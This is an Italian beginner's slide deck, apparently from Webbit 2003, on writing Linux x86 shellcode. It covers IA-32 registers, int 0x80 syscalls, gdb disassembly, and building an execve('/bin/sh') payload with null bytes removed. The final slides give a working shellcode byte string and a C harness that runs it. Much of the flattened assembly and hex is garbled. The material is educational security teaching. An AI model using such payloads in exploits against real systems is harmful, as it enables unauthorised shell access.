Alberto Ornaghi alorantifork org Lorenzo Cavallaro sullivanantifork org
Alberto Ornaghi <alor@antifork. org> Lorenzo Cavallaro <sullivan@antifork. org> How to write a shellcode (beginner) webbit 2003 1
Table of contents Cos’è uno shellcode n Introduzione all’IA-32 n Introduzione syscall Linux kernel 2. 4 n execve “/bin/sh” n Nil bytes (… avoidance) n Shellcode … n … e ancora shellcode : ) n webbit 2003 2
Cos’è uno shellcode webbit 2003 3
Lo shellcode § Un insieme di opcode rappresentanti istruzioni assembly che vogliamo far eseguire alla CPU § Generalmente lo scopo ultimo e` l’esecuzione di una shell. Da qui il termine “shellcode” webbit 2003 4
Introduzione all’IA-32 webbit 2003 5
Architettura IA-32 (1) § Registri general purpose: %eax, %ebx, %ecx, %edx 0 7|8 %al 15|16 31 %ah %ax %eax § %eip: instruction pointer %esi, %edi, %cs, %ds, %fs, %gs, %flags webbit 2003 6
Architettura IA-32 (2) § %ebp e’ il Base Pointer (Frame Pointer) e punta all’inizio del record di attivazione corrente § %esp e’ lo Stack Pointer e punta al top dello stack high SRET SFP automatic variables. . . low § Lo stack cresce verso indirizzi di memoria bassi webbit 2003 7
Architettura IA-32 (3) int foo(int a, int b) { int i = 5; return (a + b) * i; } stack layout … high 4 3 SRET int main(void) { int c = 3, d = 4, e = 0; e = foo(c, d); SRET: printf(“e = %dn”, e); webbit 2003 } SFP 5 … low 8
Introduzione syscall Linux kernel 2. 4 webbit 2003 9
System call (1) Rappresentano un caso particolare di chiamata al kernel iniziata via software (software trap) Due metodi usati dal kernel di Linux per implementare system call: 1. lcall 7/lcall 27 gates 2. int 0 x 80 software interrupt webbit 2003 10
System call (2) int main(void) { exit(1); } _syscall 1(void, exit, int, status); #define _syscall 1(type, name, type 1, arg 1) type name(type 1 arg 1) { long res; __asm__ volatile(“int $0 x 80” : “=a” (__res) : “ 0” (__NR_##name), “b” ((long)(arg 1))); __syscall_return(type, __res); } webbit 2003 11
System call (3) § In user mode e` necessario passare i parametri alla syscall nei registri general purpose, dove %eax rappresenta l’indice della syscall da richiamare § In kernelmode invece, i parametri verranno recuperati dallo stack (macro asmlinkage) webbit 2003 12
System call (4) ENTRY(system_call) # arch/i 386/kernel/entry. S pushl %eax # save orig_eax SAVE_ALL … cmpl $(NR_syscalls), %eax jae badsys call *SYMBOL_NAME(sys_call_table)(, %eax, 4) movl %eax, EAX(%esp) # save the return value … Prototipo della sys_exit syscall (kernel land) asmlinkage long sys_exit(int errorcode); webbit 2003 13
System call (5) Avendo visto come viene srotolata la macro _syscall 1(…), notando che sys_exit() non ha stranezze, possiamo riscrivere in assembly l’esempio visto qualche slide fa … int main(void) { __asm__(“ movl $0 x 1, %eax movl %eax, %ebx int $0 x 80 “); } webbit 2003 14
Kernel source Vs gdb (1) § La system call exit e` piuttosto semplice § Ci sono system call piu` complesse e altre che noi consideriamo system call ma che sono implementate in modo diverso dal kernel (socket related “syscall” sono implementate con una sys_socketcall che fa da wrapper, ad esempio) webbit 2003 15
Kernel source Vs gdb (2) § In questi casi e in altri puo` tornarci utile un disassemblato del programma § gdb viene in nostro aiuto dandoci gli strumenti necessari per poter aver uno snapshot del layout dello stack che il kernel si aspetta di trovare a fronte di un int 0 x 80 § Ricordarsi di compilare con –static e -mpreferred-stack-boundary=2 : ) webbit 2003 16
Kernel source Vs gdb (3) (gdb) disassemble main Dump of assembler code for function main: 0 x 80481 c 0 <main>: push %ebp 0 x 80481 c 1 <main+1>: mov %esp, %ebp 0 x 80481 c 3 <main+3>: sub $0 x 8, %esp 0 x 80481 c 6 <main+6>: add $0 xfffffff 4, %esp 0 x 80481 c 9 <main+9>: push $0 x 1 0 x 80481 cb <main+11>: call 0 x 804 bf 60 <_exit> 0 x 80481 d 0 <main+16>: add $0 x 10, %esp 0 x 80481 d 3 <main+19>: leave 0 x 80481 d 4 <main+20>: ret End of assembler dump. webbit 2003 17
Kernel source Vs gdb (4) (gdb) disassemble _exit Dump of assembler code for function _exit: 0 x 804 bf 60 <_exit>: mov %ebx, %edx 0 x 804 bf 62 <_exit+2>: mov 0 x 4(%esp, 1), %ebx 0 x 804 bf 66 <_exit+6>: mov $0 x 1, %eax 0 x 804 bf 6 b <_exit+11>: int $0 x 804 bf 6 d <_exit+13>: mov %edx, %ebx 0 x 804 bf 6 f <_exit+15>: cmp $0 xfffff 001, %eax 0 x 804 bf 74 <_exit+20>: jae 0 x 8051530 <__syscall_error> 0 x 804 bf 7 a <_exit+26>: lea 0 x 0(%esi), %esi End of assembler dump. webbit 2003 18
execve “/bin/sh” webbit 2003 19
execve (1) Prototipo della syscall execve (user land) int execve(const char *filename, char *const argv[], char *const envp[] ); int main(void) { char *name[] = { “/bin/sh”, NULL }; execve(name[0], name, NULL); } webbit 2003 20
execve (2) stack layout (gdb) disass main push mov sub lea movl push lea push mov push call … %ebp %esp, %ebp name: $0 x 8, %esp 0 xfffffff 8(%ebp), %eax $0 x 808 b 6 c 8, 0 xfffffff 8(%ebp) $0 x 0, 0 xfffffffc(%ebp) $0 x 0 0 xfffffff 8(%ebp), %eax 0 x 804 bf 90 <execve> webbit 2003 high SFP $0 x 0 $0 x 808 b 6 c 8 $0 x 0 name $0 x 808 b 6 c 8 SRET 21 low
execve (3) push mov … mov mov push mov int high stack layout %ebp %esp, %ebp 0 x 8(%ebp), %edi $0 x 0, %eax 0 xc(%ebp), %ecx 0 x 10(%ebp), %edx %ebx %edi, %ebx $0 xb, %eax $0 x 80 0 x 10(%ebp) $0 x 0 0 xc(%ebp) name 0 x 8(%ebp) name[0] SRET %ebp SFP %ebx <- 0 x 8(%ebp) = 0 x 808 b 6 c 8 %ecx <- 0 xc(%ebp) = name %edx <- 0 x 10(%ebp) = 0 x 0 webbit 2003 low 22
execve (4) § dobbiamo avere la stringa “/bin/sh” in memoria da qualche parte § “costruire” l’array che contiene l’indirizzo della stringa “/bin/sh” seguito da 0 x 0 (determinare quindi l’indirizzo della stringa) § mettere i valori nei registri giusti webbit 2003 23
execve (5) Supponendo che %ebx contenga l’indirizzo della stringa “/bin/sh”, il tutto si riduce a … movl %ebx, 0 x 8(%ebx) movb $0 x 0, 0 x 7(%ebx) movl $0 x 0, 0 xc(%ebx) leal 0 x 8(%ebx), %ecx leal 0 xc(%ebx), %edx movl $0 xb, %eax int $0 x 80 … stack layout high 0 xc(%ebx) $0 x 0 addr+12 0 x 8(%ebx) addr+8 /sh 0 addr+4 /bin addr %ebx low webbit 2003 24
execve (6) § Non possiamo sapere l’indirizzo assoluto della locazione di memoria dove si trova la stringa “/bin/sh”, ma in realta` non ci interessa … jmp ahead back: popl %ebx … ahead: call back. string ”/bin/sh” webbit 2003 25
execve (7) jmp ahead back: popl %ebx movl %ebx, 0 x 8(%ebx) movb $0 x 0, 0 x 7(%ebx) movl $0 x 0, 0 xc(%ebx) leal 0 x 8(%ebx), %ecx leal 0 xc(%ebx), %edx movl $0 xb, %eax int $0 x 80 ahead: call back. string ”/bin/sh” # 0 xeb 0 x 1 c # # # # 0 x 5 b 0 x 89 0 xc 6 0 xc 7 0 x 8 d 0 xb 8 0 xcd 0 x 5 b 0 x 43 0 x 4 b 0 x 53 0 x 0 b 0 x 80 0 x 08 0 x 07 00 0 x 0 c 00 00 0 x 08 0 x 0 c 00 00 00 # 0 xd 8 0 xdf 0 xff # 0 x 2 f 0 x 62 0 x 69 0 x 6 e 0 x 2 f 0 x 73 0 x 68 webbit 2003 26
Nil bytes avoidance webbit 2003 27
Nil bytes movb $0 x 0, 0 x 7(%ebx) movl $0 x 0, 0 xc(%ebx) movl $0 xb, %eax … xorl %eax, %eax movl %ebx, 0 x 8(%ebx) movb %al, 0 x 7(%ebx) movl %eax, 0 xc(%ebx) leal 0 x 8(%ebx), %ecx leal 0 xc(%ebx), %edx movb $0 xb, %al int $0 x 80 … xorl movb movl movb webbit 2003 %eax, %eax %al, 0 x 7(%ebx) %eax, 0 xc(%ebx) $0 xb, %al 28
shellcode (1) int main(void) { __asm__(“ jmp ahead back: popl %ebx xorl %eax, %eax movl %ebx, 0 x 8(%ebx) movb %al, 0 x 7(%ebx) movl %eax, 0 xc(%ebx) leal 0 x 8(%ebx), %ecx leal 0 xc(%ebx), %edx movb $0 xb, %al int $0 x 80 ahead: call back. string ”/bin/sh” “); } Problemi con questo test? webbit 2003 29
shellcode (2) (gdb) x/29 b 0 x 80483 c 3 <main+3>: 0 x 16 0 x 5 b 0 x 31 0 x 89 0 x 5 b 0 x 08 0 xeb 0 xc 0 0 x 80483 cb <back+6>: 0 x 43 0 x 07 0 x 89 0 x 0 c 0 x 8 d 0 x 4 b 0 x 88 0 x 43 0 x 80483 d 3 <back+14>: 0 x 8 d 0 x 53 0 x 0 c 0 x 0 b 0 xcd 0 x 80 0 x 08 0 xb 0 0 x 80483 db <ahead>: 0 xe 5 0 xff 0 xe 8 0 xff webbit 2003 30
shellcode (3) #include <stdio. h> unsigned char code[]= "xebx 16x 5 bx 31xc 0x 89x 5 bx 08x 88x 43x 07x 89x 43” “x 0 cx 8 dx 4 bx 08x 8 dx 53x 0 cxb 0x 0 bxcdx 80xe 8xe 5” “xffxff/bin/sh"; int main(void) { void (*f)(void) = (void (*)(void))code; f(); /* never reached … */ exit(0); } webbit 2003 31
shellcode (4) int main(void) { char *name[] = { “/bin/sh”, NULL }; char *env[] = { “PATH=/bin: /sbin: /nonexistent”, NULL }; execve(name[0], name, env); /* never reached … */ exit(1); } webbit 2003 32
shellcode (5) high jmp ahead back: popl %edi jmp begin ahead: call back begin: name[1] name[0] XXXX xorl %eax, %eax movl %edi, %ebx addb $(shell - begin), %bl pushl %ebx movl movb leal … =/bin PATH /sh. A %ebx, 40(%ebx) %eax, 44(%ebx) %al, 7(%ebx) 40(%ebx), %ecx /bin name[0] low webbit 2003 33
shellcode (6) high movl %edi, %ebx addb $(env - begin), %bl movl movb leal env[1] %ebx, 48(%ebx) %eax, 52(%ebx) %al, 28(%ebx) 48(%ebx), %edx env[0] name[1] name[0] XXXX popl %ebx movb $0 xb, %al int $0 x 80 … =/bin shell: . string "/bin/sh" # 7 bytes env: # 33 bytes: 29 w/o X and 28 w/o X and A # strlen(shell) + strlen(env) = 40 bytes. string "APATH=/bin: /sbin: /nonexistent. XXXX“ webbit 2003 PATH /sh. A /bin name[0] low 34
– Lorenzo Cavallaro – Alberto Ornaghi n <sullivan@antifork. org> <alor@antifork. org> http: //shellcodes. antifork. org webbit 2003 35
- Slides: 35